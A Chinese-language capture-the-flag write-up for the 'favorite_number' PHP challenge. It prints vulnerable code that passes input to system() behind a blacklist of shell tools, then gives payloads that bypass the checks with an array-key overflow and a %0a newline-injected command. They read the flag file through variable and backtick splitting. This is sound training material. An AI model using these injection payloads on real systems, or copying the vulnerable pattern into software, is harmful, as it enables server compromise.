攻防世界 favorite_number

favorite_number

 <?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

• 是一道php代码审计 进去就给了源码 还特别标注了php5.5.9版本
• 看了一下题目 首先是要求stuff和array数组是强等于 并且stuff[0] != ‘admin’
• 接着就是一个正则的 要求num的值必须都是数字
• 最后就是一个黑名单过滤
• 成功的话 就会调用system();
• 前面提到了php5.5.9版本 该版本有给bug
  
• 是个数组键值的溢出 将0x100000000转成10进制得到4294967296 构造payload
  stuff[4294967296]=admin&stuff[1]=user&num=20201212
• 这里也可以用0x200000000等
• 接着就是正则必须是数字了 该正则用了跨行检测的修饰符 %0a绕过
• stuff[4294967296]=admin&stuff[1]=user&num=20201212%0als
• Hackbar和Max hackbar 同时罢工
• burpsuit抓包
  -变量拼接读取flag
  -stuff[4294967296]=admin&stuff[1]=user&num=20201212%0aa=f;b=lag;tac /$a$b
• 或者用``绕过

stuff[4294967296]=admin&stuff[1]=user&num=20201212%0aca``t  /fal``g